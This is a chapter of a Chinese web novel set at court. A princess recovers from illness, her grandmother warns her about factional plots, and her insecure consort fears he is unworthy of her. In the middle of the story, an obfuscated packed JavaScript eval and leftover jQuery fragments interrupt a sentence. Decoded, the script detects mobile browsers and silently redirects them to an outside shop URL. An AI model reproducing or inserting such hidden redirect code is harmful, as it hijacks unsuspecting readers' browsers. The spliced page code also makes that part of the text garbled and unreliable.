上官老太太又道,“都已经成婚了,怎么还不改口?”
“是,外祖母,外孙女婿受教。”
“怎么才成婚三天,我好好的阿瑛就病得起不来床了?”
“是我没护好公主。”
一路上,上官老太太除了刚下车的那一眼,连个正眼都没给他,直至到了房门外,她扭头看向卫昭,“驸马就送到这儿吧。我有私事要与公主相谈。”
这是上官老太太头一遭到公主府里来。
珍珠料想到排场不会小,却没想到会这么大。从外院到内院,一句话都没同旁人说,往日里老太太可是最爱说笑的。
也不知道驸马是哪里讨了老太太的不喜欢,她合上房门前同情地看了一眼驸马。
被关在门外,卫昭低头看着自己的靴子。
在房门合上的那一瞬间,他很窝囊的松了口气,随后才是被羞辱的不忿。
他已经同燕玉瑛成婚了!旁人为何还是将自己视作草芥?
不对不对不对……
自己和燕玉瑛成婚不是为了这些。
他已经不是矜贵的裴家公子了。他早死了。他早该去死了!
只是燕玉瑛救了他。
自己本就配不上公主。
在旁人看来,自己只是皇帝安插在公主身边的一颗棋子,亦或是攀附公主的小人。
没事,没事,至少自己现在还能留在她身边。
别人怎么看他?已经不重要了。
“驸马您站在门外做什么?”一道清亮的女声自他侧面传来,卫昭闻声看去,是个面生的丫鬟,不是常在公主身边伺候的那几个。
“驸马,您不记得奴婢了吗?奴婢叫琉璃,是太子赏给公主的。”说起太子,她目露得色,还忍不住抬了抬下巴。
听琉璃说自己的名字,卫昭自是想起来了,避之不及,抬步向外面走去,“你好好伺候公主罢。”
琉璃见卫昭就这样走了,攥着手帕,气急败坏地跺了跺脚。
待她走后,珍珠才推门出来。
屋内,老太太急走到床前,见到脸色蜡黄的小外孙女,“哎呦我的心肝,你怎么就病成这样了?”
心疼得一把将她搂在怀里,燕玉瑛也回报住外祖母,还用脸在外祖母怀里蹭了蹭,“外祖母,我没事,不过是下了趟水没及时擦干就受了凉。”
从老太太怀里出来,才注意到她今天穿的格外华丽。
“你怎么就到水里去了?”老太太问,
燕玉瑛便顺着话头,将昨日宫中发生的事同老太太讲了。
就连见多识广的上官老太太都吃了一惊,“你说此事真只是巧合吗?指不定是有人引得二皇妃到花园水边,我与柳家老太太也算有点交情。她那个小孙女玩性大,又没心眼,容易受人挑拨。”
那日宫中发生的事接二连三,叫人应接不暇,燕玉瑛心中也存有怀疑,如今终于有人能说话,她兴致勃勃地从老太太怀里坐起来。
“我记得二皇子妃说自她有孕以来,淑妃令人将她管的很严,那日皇后娘娘偏单独留了淑妃说话,才叫二皇子妃落了单。
“可我见太子妃原本并不想让她往花园里去,莫非此事真的只是巧合?”
上官老太太和蔼地看着一惊一乍的小外孙女,反倒笑了,“一个人想做什么事就要写在脸上吗?再说你想做成一件事,就只做一手打算吗?她今日不落水,还可以有千百种办法不让她顺利生下孩子。”
“就算太子夫妇没做,皇后就没做吗?就算他们都不做,太子一党的人就没做过吗?再退一步讲,落水只是巧合,你那个太子皇兄不也没想让二皇子妃顺利生下孩子。”
燕玉瑛静静将这些话都听了。
当日宫中的一众宫女太医都经不起细查。
倘若自己当初不在那里,柳迢迢就会被生生拖死。
这次的事,自己做了与太子相反的决定。
她相信自己与太子十年的兄妹情谊不会因此破碎。
日后有更大的事要她站队。她会站在太子那边吗?
“您尝尝这个杏子果脯,是您新上任的外孙女婿买的呢!”
燕玉瑛双手捧着小碟子献宝似的捧到上官老太太面前,老太太很给她面子的,挑了一块小的,尝上一口,又立刻喝了一口茶,压一压,“就你们这些小年轻喜欢吃这么甜的。你那位驸马我刚见过了。”
“那外祖母觉得怎么样?”燕玉瑛对着老太太,声音才有些符合年纪的纯真,她期待着对方的回答。
“不怎么样。样貌倒是不错,你不会又被你那个‘老谋深算’的爹给算计了吧?噢,倒是又一点,听说他家里没人了,这点倒是和我们家门当户对。”
燕玉瑛泄了点气,想想自己当初差点嫁进江家,这才真是进了虎狼窝,心中又得意一点,却又不敢同外祖母讲这来龙去脉怕,被她取笑。
“卫昭他也没您说的那么不堪吧。”
上官老太太打量她的神色,并没有看出她对卫昭有多么上心,她们上官家的女儿大多招赘,一心扑在战场上,少有醉心于情爱的,如今上官家只剩下他们一老一少,燕玉瑛如今这样才好。
“你听外祖母一句劝,将心稳稳当当的放在自己身上。你的夫君,父母,兄弟姐妹,还有我这个不知道能活到什么时候的老婆子,都只能陪你走这一程。你得好好的为自己活。”
“外祖母怎么突然说这种话?怪晦气的,您不是要亲眼看着咱们家的事情真相大白吗?
燕玉瑛依恋地又钻进外祖母怀里,不舍地用胳膊环着她的腰,老太太也用手轻抚着她的发顶,宽慰道,“我知道你是个好孩子,可上官家如今的情况,真不真相的也罢了,我只盼你过得好。”
燕玉英心中酸涩,那场令全族覆灭的战役是外祖母一生的心结,她竟愿意为了自己让这个心结永远存续。
鼻子一酸,燕玉瑛将自己深深埋进外祖母怀里,发出闷闷的声音,“外孙女心中记得的,总有一天我会查明真相。”
上官老太太赶在晚膳前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631451|206367||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回府。
燕玉瑛和外祖母说了一会儿话,便感觉自己身体爽利不少。
从床上起来,梳洗一番后,先命人去外院叫卫昭,又命人传郑婶姐弟到正厅。
郑婶姐弟看模样都是老实本分的,皮肤被太阳晒得黝黑。
但见郑婶行礼时有模有样的,倒还能看得出几分在大宅院中待过的影子。
“郑婶从前是伺候过大家小姐或夫人吗?行礼的仪态甚是得体。”
郑婶遭公主看着有些局促,但回话声音依旧不卑不亢,“奴婢本家原本是有些家底的,奴婢姐弟便是公子母亲的陪嫁。”
卫昭听人来报公主召见郑婶姐弟,一路疾走到了正厅,额上已浮了一层细细密密的薄汗,见公主给郑婶姐弟都赐了座,高悬的心才落下一点。
燕玉瑛招他过来坐在身边的位置,“我刚才与郑婶说了几句话。我想叫她到内院里领几个年轻的小丫鬟,平日里帮你修补修补衣服,整理整理书房什么的。至于郑伯,他一把年纪的,也不好总给你跑腿。合该给你安排几个年轻的小厮。他们终究是你的人,你看这样安排如何?”
卫昭听她为自己打算得那么仔细,再想起自己那些个阴暗的想法,心中更是愧疚。
见他沉默不语,燕玉瑛便认为他是默许了,又给郑婶,郑伯分别安排了住处,二人便先下去了。
“你这是怎么了?是被我外祖母刺了几句嘛?我外祖母这人一贯如此,你莫要放在心上。”
“不……上官老太太待微臣……很好。”
燕玉瑛听他说这个话,如听笑话般。
自己外祖母是什么性子?她连皇帝都能不给好脸色,只以为卫昭因为自尊心拉不下脸同她告状才这样说,她也不会去主动戳破。
晚膳便在此处摆了。
因为燕玉瑛刚刚病好,只能吃些清淡的菜。连累着魏昭都没能吃点带油水的。
“你又没生病,可以不陪着我一块吃这些没滋味的。”
卫昭吃相好,细嚼慢咽的,鼓着腮帮子嚼东西的样子,像只抱着榛子啃的小松鼠。
他将口中的食物咽下,才说,“微臣想同公主一块儿吃,公主是嫌弃微臣吗?”
燕玉瑛连忙否认,不知道他为什么会这么想,又觉得气氛尴尬,不由自主地想说些话,“驸马秀色可餐,本公主求之不得呢。”
卫昭的心跳不争气地又漏了半拍,他看进燕玉瑛的笑眼之中,世间有很多事都转瞬即逝,至少他拥有片刻与她一同的欢喜时光。
他便觉得自己空落落的心被填满了。
外院有人来报,“宫里的秦总管来了。”
话音刚落,秦总管便领着一队抬着赏赐箱子的小太监进到院中。
卫昭上前相迎。秦总管是大内总管,皇帝身边太监中的第一人,他寻思秦总管大晚上亲自前来,总不能只是为了送赏赐。
“不知何事劳烦秦总管大晚上亲自跑一趟?”
“陛下听闻公主病了,特意派奴才前来探望。”